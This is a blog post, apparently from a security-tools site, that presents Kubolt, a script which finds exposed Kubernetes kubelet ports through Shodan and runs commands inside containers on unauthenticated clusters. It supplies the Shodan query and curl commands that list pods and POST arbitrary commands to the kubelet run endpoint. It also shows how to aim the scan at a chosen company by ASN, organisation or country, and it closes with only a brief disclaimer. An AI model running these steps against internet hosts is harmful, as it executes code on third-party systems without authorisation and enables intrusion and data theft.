Categories: Kali Linux

Kubolt : Utility For Scanning Public Kubernetes Clusters

Kubolt is simple utility for scanning public unauthinticated kubernetes clusters and run commands inside containers. Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containers using getrun function from kubelet:

// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf(“pod does not exist”))
return
}

Also Read – WAFw00f : Identify & Fingerprint Web Application Firewall (WAF) Products Protecting A Website

Okay, let’s ask our friend Shodan

The basic query is

ssl:true port:10250 404

Kubelet uses port 10250 with SSL by default, 404 is the HTTP response without URL path.

Kubolt asks Shodan by API for list of IP addresses and keeps them for other OSINT actions

Firstly, let’s ask Kubelet for running pods and filter hosts where response doesn’t contain Unauthorized and contains container so we can run command inside it.

curl -k https://IP-from-Shodan:10250/runningpods/

Anyway, if you find the host without any running pods at the time, keep it for next time when pods might be started

You can list all available pods from these requests:

curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/

Next kubolt parse response and generate a new request as below:

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d “cmd=<command-to-run>”

You can target companies more accurate using Shodan filters such as:

  • asn
  • org
  • country
  • net

Install

mkdir output
pip install -r requirements.txt

Run

python kubolt.py –query “asn:123123 org:’ACME Corporation'”
#or
python kubolt.py –query “org:’ACME Corporation’ country:UK”

Shodan

Kubolt uses Shodan API and Query Credits accordingly, if you run the tool without query filters then you will probably fire all your credits.

Disclaimer

The Tool provided by the author should only be used for educational purposes. The author can not be held responsible for the misuse of the Tool. The author is not responsible for any direct or indirect damage caused due to the usage of the Tool.

R K

Recent Posts

Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…

7 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

7 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

1 week ago

How to Bash Append to File: A Simple Guide for Beginners

If you are working with Linux or writing bash scripts, one of the most common…

1 week ago

Mastering the Bash Case Statement with Simple Examples

What is a bash case statement? A bash case statement is a way to control…

1 week ago

How to Check if a File Exists in Bash – Simply Explained

Why Do We Check Files in Bash? When writing a Bash script, you often work…

1 week ago